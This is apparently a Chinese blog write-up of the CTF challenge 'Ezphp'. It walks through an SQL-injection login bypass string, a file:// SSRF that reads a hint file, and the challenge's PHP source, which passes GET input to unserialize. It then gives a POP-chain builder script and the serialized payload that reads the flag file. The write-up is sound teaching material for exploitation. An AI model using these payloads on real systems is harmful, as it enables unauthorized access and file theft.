[TSCTF-J] Ezphp

前言

考察sql注入(万能密码),ssrf(file协议),反序列化(pop链构造)

一、题目

题目图

二、题解

Part 1

启动环境发现是一个简单的登陆页面
先上万能密码

" or 1=1#

在这里插入图片描述
此处也可以使用sql注入,查询用户表,得到用户名为admin,密码为12345678

Part 2

在这里插入图片描述
提示/tmp/hint.php,观察地址栏提示的ssrf以及?path=
尝试使用伪协议发现php://被过滤(www也被过滤)

在这里插入图片描述
只能选用file协议来访问文件

?path=file:///tmp/hint.php

在这里插入图片描述
在hint.php找到疑似源代码

Part 3

将源代码扒下来整理好格式开始审计

<?php
error_reporting(0);
/*
 * flag in /home/flaaag.txt and go to flag.php
 *
 */
class A extends service {
    public $event;
    function __construct($event)
    {
        $this->event = $event;
    }
    function __destruct()
    {
        $flag = $this->event["name"];//__get
        return $this->$flag();
    }
}
class read
{
    public $filename;
    function __construct($filename)
    {
        $this->filename = $filename;
    }
    function __toString()
    {
        if (isset($this->filename))
        {
            $res = file_get_contents($this->filename);
        }
        else
        {
            $res = "nonononono";
        }
        return $res;
    }
}
class test
{
    public $file;
    function __construct($f)
    {
        $this->file = $f;
    }
    function __get($txey)
    {
        echo $this->file;
    }
}
class service
{
    public $server;
    public $str;
    function __call($method, $args)
    {
        if (is_string($this->server->str))
        {
            echo "hello" . $method . $this->server->str;
        }
        else
        {
            die("");
        }
    }
}
if (isset($_GET["cmd"]))
{
    unserialize($_GET["cmd"]);
}
else { echo "now get flag!"; }

按照提示访问flag.php
在这里插入图片描述

if (isset($_GET["cmd"]))
{
    unserialize($_GET["cmd"]);
}
else { echo "now get flag!"; }

在没有传入cmd值得情况下会显示now get flag!
由此确定该源码为flag.php得源码

代码审计初步确认此处应该使用反序列化漏洞构造pop链来访问/home/flaaag.txt

$age=array("name"=>"pp");
$a=new A($age);

$r=new read('/home/flaaag.txt');
$t=new test($r);

$a->server=$t;
echo serialize($a);
echo unserialize(serialize($a));


$t=new test($a);
$f=new read($t);

$sf=serialize($f);
echo unserialize($sf);

在本地构造如上pop链后运行得到payload
在这里插入图片描述

?cmd=O:1:"A":3:{s:5:"event";a:1:{s:4:"name";s:2:"pp";}s:6:"server";O:4:"test":1:{s:4:"file";O:4:"read":1:{s:8:"filename";s:16:"/home/flaaag.txt";}}s:3:"str";N;}

得到flag!
在这里插入图片描述


  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值